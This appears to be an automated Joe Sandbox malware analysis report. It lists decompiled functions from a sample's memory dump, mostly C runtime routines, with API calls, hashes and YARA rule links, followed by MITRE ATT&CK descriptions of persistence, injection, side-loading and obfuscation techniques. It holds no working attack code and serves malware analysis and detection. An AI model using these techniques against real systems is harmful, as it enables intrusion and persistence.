Opcode ID: 6bf2b47a27539f76812886118fd7e7d22ca8b3b2da031f387ae56abc05273f8c
Instruction ID: ba049d854f9e59082a3c3c87d7a279c621ddbe14fc22171924ddd046835e9294
Opcode Fuzzy Hash: 6bf2b47a27539f76812886118fd7e7d22ca8b3b2da031f387ae56abc05273f8c
Instruction Fuzzy Hash: EBE04870284309B7FB115F61EC06B5A3B59DB10B97F204071FA0DB85E2D765DD5196CC

Function 0044562D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00445690

Part of subcall function 0043E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0043FDE8,?,00000000,-00000008), ref: 0043E6A2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 004458E2
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00445928
GetLastError.KERNEL32 ref: 004459CB

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 6381d454f6379ae0ada3766dcb54973d69bf0e58a5370883a655f26e2e5aa4a9
Instruction ID: a2f420393df0de25ee39d1a7553bd7ce41ae9142858c88e2ddb6a064f5215cd1
Opcode Fuzzy Hash: 6381d454f6379ae0ada3766dcb54973d69bf0e58a5370883a655f26e2e5aa4a9
Instruction Fuzzy Hash: 81D199B5D00648DFDF15CFA8C880AAEBBB5FF09314F28412AE456EB352D634A902CB54

Function 0043D8AF Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0043D976
___AdjustPointer.LIBCMT ref: 0043D999
___AdjustPointer.LIBCMT ref: 0043DA35

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: c762ce7e1106e305253193aaaa02c2369f9f5bd17ba90a37a139bd41a22ac9d1
Instruction ID: 3d7a2be5c2d15702447078d872c8e2b7a799e1b9b3d4d25f14d10babd9f997e7
Opcode Fuzzy Hash: c762ce7e1106e305253193aaaa02c2369f9f5bd17ba90a37a139bd41a22ac9d1
Instruction Fuzzy Hash: 1D51F3B2E04605AFDB299F11E841B6B77B4EF0C314F24502FE8425B291D739ED41C799

Function 00443537 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0043E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0043FDE8,?,00000000,-00000008), ref: 0043E6A2

GetLastError.KERNEL32(00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 0044359B
__dosmaperr.LIBCMT ref: 004435A2
GetLastError.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,00000000,00000000), ref: 004435DC
__dosmaperr.LIBCMT ref: 004435E3

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: b49dc8237c1380672a0feb98a6b1a7cd60afe03fe951d60b975af5132e84381c
Instruction ID: 157e2afe02c961017a949284ca04481d310202b2d8a98d83e7db99b3bba4605d
Opcode Fuzzy Hash: b49dc8237c1380672a0feb98a6b1a7cd60afe03fe951d60b975af5132e84381c
Instruction Fuzzy Hash: 3E210A71600605BFEB20AF66884182BB7A9FF04B6AB10851FF86597641D738EF108799

Function 00438042 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91ed61d7a0d1083e87e1254920981cdb4440b2754b5715dd4f377c2264e7a3cc
Instruction ID: a10829cdf41c88670e426bbd11a669708a9789afc87a5eafb953f32e86fdad42
Opcode Fuzzy Hash: 91ed61d7a0d1083e87e1254920981cdb4440b2754b5715dd4f377c2264e7a3cc
Instruction Fuzzy Hash: D421D4B1200315AFDB24AF628C4082BB769AF48368F11952FF86597251DF38EC118799

Function 0044484F Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00444857

Part of subcall function 0043E641: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0043FDE8,?,00000000,-00000008), ref: 0043E6A2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0044488F
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 004448AF

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: d76b887b143023fec805bb6c8816caff54f02d74ea2ad2c88af77b40c390587f
Instruction ID: 3e49e0363caaf57486e164fd6991ba2502f7c4baa99f6d31f8061163f1f31813
Opcode Fuzzy Hash: d76b887b143023fec805bb6c8816caff54f02d74ea2ad2c88af77b40c390587f
Instruction Fuzzy Hash: 831121EA5032647F76113BB79C8EDAF295CCED839A720003AF401D1202EA6CDE01827D

Function 0044A4E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,00449B0F,00000000,00000001,00000000,?,?,00445A1F,?,00000000,00000000), ref: 0044A4F7
GetLastError.KERNEL32(?,00449B0F,00000000,00000001,00000000,?,?,00445A1F,?,00000000,00000000,?,?,?,00445365,00000000), ref: 0044A503

Part of subcall function 0044A554: CloseHandle.KERNEL32(FFFFFFFE,0044A513,?,00449B0F,00000000,00000001,00000000,?,?,00445A1F,?,00000000,00000000,?,?), ref: 0044A564

___initconout.LIBCMT ref: 0044A513

Part of subcall function 0044A535: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0044A4D1,00449AFC,?,?,00445A1F,?,00000000,00000000,?), ref: 0044A548

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,00449B0F,00000000,00000001,00000000,?,?,00445A1F,?,00000000,00000000,?), ref: 0044A528

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0c03a3c278bfda6165111557637b303d40f5200435a5783638a359c00099c90c
Instruction ID: 24863e68022eef72db8d23077dbf11d20cbb30ee9bdb877323eb75995af2dc59
Opcode Fuzzy Hash: 0c03a3c278bfda6165111557637b303d40f5200435a5783638a359c00099c90c
Instruction Fuzzy Hash: 14F03776050315BFDF222F95EC0499E3F26FF483A2F414161F90985131DA31CD309B9A

Function 004359A7 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 004359B9
GetCurrentThreadId.KERNEL32 ref: 004359C8
GetCurrentProcessId.KERNEL32 ref: 004359D1
QueryPerformanceCounter.KERNEL32(?), ref: 004359DE

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: a56b0564731a38f0436ab5ced14ff10679cc3c0e1535cbbedd8bb27c7a51a764
Instruction ID: b885dadc835023fa018ffcde135ebfb45680b635ae0549553eadb069dc468af5
Opcode Fuzzy Hash: a56b0564731a38f0436ab5ced14ff10679cc3c0e1535cbbedd8bb27c7a51a764
Instruction Fuzzy Hash: 28F0AFB0D1120CEBCB00DFB4C94998EFBF4FF1C206B9149A6A412E7111E630EB448F50

Function 00442117 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 191COMMON

Download Yara Rule

APIs

Part of subcall function 0043E783: GetLastError.KERNEL32(00000000,?,00440AB9), ref: 0043E787
Part of subcall function 0043E783: SetLastError.KERNEL32(00000000,?,?,00000028,0043B9D2), ref: 0043E829

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00439266,?,?,?,00000055,?,-00000050,?,?,?), ref: 004421D6
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00439266,?,?,?,00000055,?,-00000050,?,?), ref: 0044220D

Strings

utf8, xrefs: 004422DF

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: utf8
API String ID: 943130320-905460609
Opcode ID: 3340d5ca97c375ee6fbec1ed2be21bc64233a353818b9a24b9a35b432a6dbec3
Instruction ID: 8c45c8bcdcd97328c6f6a0423fead645c47a845a12b3196b73ec6c0350114d6b
Opcode Fuzzy Hash: 3340d5ca97c375ee6fbec1ed2be21bc64233a353818b9a24b9a35b432a6dbec3
Instruction Fuzzy Hash: 0251F771640301AAF724AF758E42BAB72A8FF44705F94042FFA05D7281EAFCE940866D

Function 0043DFAC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 126COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0043DEAD,?,?,00000000,00000000,00000000,?), ref: 0043DFD1

Strings

RCC, xrefs: 0043DFEB
MOC, xrefs: 0043DFE3

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 9b053a5542f29ac41ea67c7d4db07b2d9ecb642ebf2795e1b81c045ca47a79d7
Instruction ID: 4b0ce152d1de89138c3e429024c2aa7b27c146cce4402f86241e4be03b89dfe7
Opcode Fuzzy Hash: 9b053a5542f29ac41ea67c7d4db07b2d9ecb642ebf2795e1b81c045ca47a79d7
Instruction Fuzzy Hash: 0C419A71901218AFCF2ADF95DC81AEEBBB5FF08304F18905AFA046B2A1D3799950DB54

Function 00441E7B Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 0043E4F7: HeapFree.KERNEL32(00000000,00000000,?,00441A55,?,00000000,?,?,004416F5,?,00000007,?,?,0044203B,?,?), ref: 0043E50D
Part of subcall function 0043E4F7: GetLastError.KERNEL32(?,?,00441A55,?,00000000,?,?,004416F5,?,00000007,?,?,0044203B,?,?), ref: 0043E518

___free_lconv_mon.LIBCMT ref: 00441EBF

Strings

TYE, xrefs: 00441E91
8ZE, xrefs: 00441F67

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: ErrorFreeHeapLast___free_lconv_mon
String ID: 8ZE$TYE
API String ID: 4068849827-315368932
Opcode ID: 1ae4c41786a3d1d54845fe4ebbd59b36242f19782d248e3c1566f4e47db9c82c
Instruction ID: 8bca8acc0af12941758fb226e3e16b3c5fc177d62820cbd3ff7eb73ccb7d8f0e
Opcode Fuzzy Hash: 1ae4c41786a3d1d54845fe4ebbd59b36242f19782d248e3c1566f4e47db9c82c
Instruction Fuzzy Hash: E3318F316006019FEB209A7AD949B6773E8AF18754F20981FE854D72A1DF3CFC85CB18

Function 0043D818 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0043DA8F

Strings

csm, xrefs: 0043DAB1
csm, xrefs: 0043DB22

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 4e7e4dbbfd103784c6427c9695b5bb080a8076c3fe847fea045f273fefa20a6d
Instruction ID: bdb77e7eb86d369ab4396db1e5b0c79c7dffec92a528161ba73b55c49733d189
Opcode Fuzzy Hash: 4e7e4dbbfd103784c6427c9695b5bb080a8076c3fe847fea045f273fefa20a6d
Instruction Fuzzy Hash: 9F31E432D003489BCF229F50ED409ABBB65FF0D365F19516BF8544A221C33AEC61DB99

Function 004329C6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00434B74
___raise_securityfailure.LIBCMT ref: 00434C5C

Strings

xfE, xrefs: 00434C57

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: xfE
API String ID: 3761405300-2427623876
Opcode ID: a58266a2563b5a74fcbfe21bcf1f825cd74848cb93cc9049ba251fdbfa8df808
Instruction ID: 157916ba8a5f6106c371bfd8f8692e069822411c37122a13002116f4ddce5727
Opcode Fuzzy Hash: a58266a2563b5a74fcbfe21bcf1f825cd74848cb93cc9049ba251fdbfa8df808
Instruction Fuzzy Hash: 3621CCB45013009BE740DF25E9956547BF4FB4C31AF92A13AE5088B2A2E3B5E880CF4C

Function 00434A8C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00434A97
___raise_securityfailure.LIBCMT ref: 00434B54

Strings

xfE, xrefs: 00434B4F

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: xfE
API String ID: 3761405300-2427623876
Opcode ID: 19a6fc837e594fc907cc914d9ea37d3f6080919984d443c5aba890917ecc5b88
Instruction ID: f33f1d7eccf2827359569422b8bb251f4335239266be4e1a6340501dc0134c8a
Opcode Fuzzy Hash: 19a6fc837e594fc907cc914d9ea37d3f6080919984d443c5aba890917ecc5b88
Instruction Fuzzy Hash: DB1199B45113049BD740DF29E9816803BF4FB5C30AB82A17AE808873A2E7B5E941CF4D

Function 004329D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(0045648C,ios_base::badbit set,?,?,00431C84,00456478,00431B17), ref: 004329DF
ReleaseSRWLockExclusive.KERNEL32(0045648C,?,?,00431C84,00456478,00431B17), ref: 00432A19

Strings

ios_base::badbit set, xrefs: 004329D8

Memory Dump Source

Source File: 00000011.00000002.2730979574.0000000000431000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00430000, based on PE: true

Associated: 00000011.00000002.2730945204.0000000000430000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731030961.000000000044C000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731058490.0000000000455000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731089576.0000000000458000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731124037.000000000045A000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.2731155442.000000000045D000.00000008.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_430000_bb3768c743.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ios_base::badbit set
API String ID: 17069307-3882152299
Opcode ID: e9cf4e24cc428876a47f97ed97ed323ff61b685fcd2d2f5e21f6c6c735562dcd
Instruction ID: a3912bec1d4fa17aa7b3eff6b2bc367a86b3bd80515a426c3a949377dff4f847
Opcode Fuzzy Hash: e9cf4e24cc428876a47f97ed97ed323ff61b685fcd2d2f5e21f6c6c735562dcd
Instruction Fuzzy Hash: 66F08270600200DBC720AF18E904A267B78FB49776F10133FE89A433A1C7795842CA5D

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

